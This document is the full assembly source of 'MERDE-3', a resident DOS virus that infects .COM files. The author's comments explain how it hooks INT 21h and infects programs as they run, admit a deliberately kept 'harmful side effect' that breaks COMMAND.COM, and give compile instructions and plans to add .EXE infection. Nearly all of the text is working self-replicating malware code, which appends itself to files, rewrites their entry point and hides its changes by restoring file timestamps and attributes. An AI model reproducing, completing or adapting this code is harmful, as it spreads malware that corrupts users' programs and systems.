; MERDE-3: A resident, non-overwriting .Com infector by the loki-nator ;Well, here it is, for what it's worth.. It is really kind of a ;piece of crap, but it is just a rough draft.. ;NOTES: ; If this gets into Command.Com, it (command) won't work for unknown reasons.. ; I could have fixed it by just checking to make sure the file it is infecting ; isn't command.com, but I decided that this would be it's harmful side effect ; and left it... I will have to fix several things in it, like its memory ; handling, etc... It only infects files when they are loaded for EXECUTION! ; it won't infect .com files loaded by debug via AX=4b03, or al=anything ; except 00.... Also, it hooks int 71 for its own type of multiplex ; interrupt to check if the resident portion is already installed.. ; I don't know if that will get me in trouble or not. This is not very well ; tested, so it may hand under some circumstances or ill-behaved programs ; that mess with the memory (like I did)... Well, I need to add .exe ; infection, or I will be just a wanna-be virus writer! ; At this very moment, I will probably modify it for infection of any function ; that gives INT 21 a DS:DX pointer to a com file. ; Oh, yeah- If you compile it, you have to run the included Maker.bat file ; after you have compiled it (Use Tasm, but I guess anything will work.) ; Any GOOD virus writers out there will obviously notice how inefficient this ; is, so if you do, leave me mail with some pointers.... compare_val equ 900 interrupt equ 21h Code_seg Segment Byte Assume DS:Code_seg, CS:Code_seg ORG 100h start: mov di,0100h ;di=start mov si,bx add si,offset five_bytes-100h mov cx,5 rep movsb int 71h cmp ax,9999h jne okay mov ax,0100h xor si,si xor si,di xor cx,cx jmp ax okay: mov di,bx sub di,100h xor ax,ax mov es,ax mov ax,es:[interrupt*4] mov bx,es:[interrupt*4+2] mov [di+int_21_saveo],ax mov [di+int_21_saves],bx push cs pop es mov [di+orig_stackp],sp cli mov sp,di add sp,offset my_stack sti push ax push bx push cx push dx push bp push ds push es push si push di mov [di+my_stack_save],sp cli mov sp,[di+orig_stackp] sti int 12h mov bx,cs mov cx,1024 mul cx clc mov cx,400h sub ax,cx sbb dx,0000 ;dx:ax=where we want this mem to end! mov [di+high_ram],dx mov [di+low_ram],ax here: mov cx,cs mov ax,0010h mul cx clc mov cx,di add cx,offset ending add ax,cx adc dx,0000 clc sub [di+low_ram],ax sbb [di+high_ram],dx clc mov ax,[di+low_ram] mov dx,[di+high_ram] mov cx,0010h div cx ;dx:ax=memory above this-divide it by 16 mov bx,ax mov ah,4ah int 21h jnc okay_1 jmp get_out okay_1: mov ah,48h mov bx,60h int 21h mov [my_segment+di],ax jnc okay_2 jmp get_out okay_2: push di xor di,di xor si,si mov es,ax mov cx,100h rep movsb pop si push si add si,100h mov cx,offset ending-100h rep movsb pop di mov dx,es sub dx,1 mov es,dx mov es:[1],ax mov byte ptr es:[0],'Z' mov word ptr es:[3],0000 mov es,ax mov es:[16h],ds mov ax,offset return_to_file add ax,di mov es:[0ah],ax mov es:[0ch],ds mov ah,50h mov bx,es int 21h mov dx,600h mov ax,es mov ds,ax mov es,ax push cs pop ss mov word ptr cs:[return_to_file+di+1],di mov sp,600h int 27h return_to_file: mov di,0000 xor ax,ax mov es,ax mov bx,offset my_21 mov ax,cs:[di+my_segment] mov word ptr es:[interrupt*4],bx mov word ptr es:[interrupt*4+2],ax mov word ptr es:[71h*4+2],ax mov bx,offset my_71 mov word ptr es:[71h*4],bx mov ax,cs cli mov ss,ax mov sp,cs:[my_stack_save+di] sti pop di pop si pop es pop ds pop bp pop dx pop cx pop bx pop ax cli mov sp,cs:[di+orig_stackp] sti mov ax,0100h jmp ax get_out: mov ax,cs cli mov ss,ax mov sp,cs:[di+my_stack_save] sti pop di pop si pop es pop ds pop bp pop dx pop cx pop bx pop ax cli mov sp,cs:[di+orig_stackp] sti mov ax,0100h jmp ax ;------------------------------------------------------------------ my_21: cmp ah,4bh je continue_with_it jmp continue_21 continue_with_it: cmp al,00 je okay_go jmp continue_21 okay_go: push ax push bx push cx push dx push es push di push si push bp push es push ds check_file: mov bx,dx xor si,si looper: cmp byte ptr ds:[bx+si],'.' je check_com cmp si,35 jle okay5 jmp give_up1 okay5: inc si jmp looper check_com: inc si cmp byte ptr ds:[bx+si],'c' je check_for_infection cmp byte ptr ds:[bx+si],'C' je check_for_infection jmp give_up1 check_for_infection: mov cs:[high_file],ds mov cs:[low_file],dx mov ah,50h ;set PSP to ours push cs pop bx call dos_21 mov ah,43h xor al,al call dos_21 jnc okay9 jmp give_up okay9: mov cs:[attrib],cx mov ah,43h mov al,1 xor cx,cx call dos_21 mov ah,3dh mov al,2 call dos_21 jnc okay10 jmp give_up okay10: mov cs:[handle],ax mov bx,ax mov ah,57h xor al,al call dos_21 mov cs:[date],dx mov cs:[time],cx mov al,2 mov ah,42h xor dx,dx xor cx,cx call dos_21 jnc okay11 jmp give_up okay11: cmp dx,0 je okay12 jmp give_up okay12: mov cs:[file_size],ax cmp ax,64000 jb contin1 call reset_all jmp give_up contin1: cmp ax,1024 jnb contin2 call reset_all jmp give_up contin2: sub ax,compare_val mov dx,ax xor cx,cx mov ah,42h xor al,al mov bx,cs:[handle] call dos_21 mov ah,3fh push cs pop ds mov dx,offset buffer mov cx,2 call dos_21 mov ax,word ptr cs:[buffer] mov bx,word ptr cs:[offset ending-compare_val] cmp ax,bx jne infect_it call reset_all jmp give_up infect_it: xor cx,cx xor dx,dx mov bx,cs:[handle] mov ax,4200h call dos_21 mov ah,3fh mov cx,5 push cs pop ds mov dx,offset five_bytes call dos_21 mov ax,4202h xor cx,cx xor dx,dx call dos_21 mov ax,cs:[file_size] add ax,100h mov word ptr cs:[jumper+1],ax mov ah,40h mov cx,offset ending-100h mov dx,0100h call dos_21 xor cx,cx xor dx,dx mov ax,4200h mov bx,cs:[handle] call dos_21 mov dx,offset jumper mov ah,40h mov cx,5 call dos_21 call reset_all give_up: mov ah,50h mov bx,cs:[high_file] call dos_21 give_up1: pop ds pop es pop bp pop si pop di pop es pop dx pop cx pop bx pop ax jmp continue_21 continue_21: jmp dword ptr cs:[int_21_saveo] dos_21: pushf call dword ptr cs:[int_21_saveo] ret reset_all: mov bx,cs:[handle] mov cx,cs:[time] mov dx,cs:[date] mov ax,5701h call dos_21 mov ah,3eh mov bx,cs:[handle] call dos_21 mov ah,43h mov al,1 mov cx,cs:[attrib] mov ds,cs:[high_file] mov dx,cs:[low_file] call dos_21 ret my_71: mov ax,9999h iret dw 44 dup(00) my_stack: jumper: mov bx,0000 jmp bx file_size dw 0000 high_file dw 0000 low_file dw 0000 handle dw 0000 attrib dw 0000 date dw 0000 time dw 0000 int_21_saveo dw 0000 int_21_saves dw 0000 orig_stackp dw 0000 my_stack_save dw 0000 high_ram dw 0000 low_ram dw 0000 my_segment dw 0000 buffer: db 10 dup(00) five_bytes: db 0cdh,20h,90h,90h,90h my_little_message_to_the_world: db 'Scan me, I LIKE IT!!!!-Loki-nator!' ending: Code_seg ENDS END start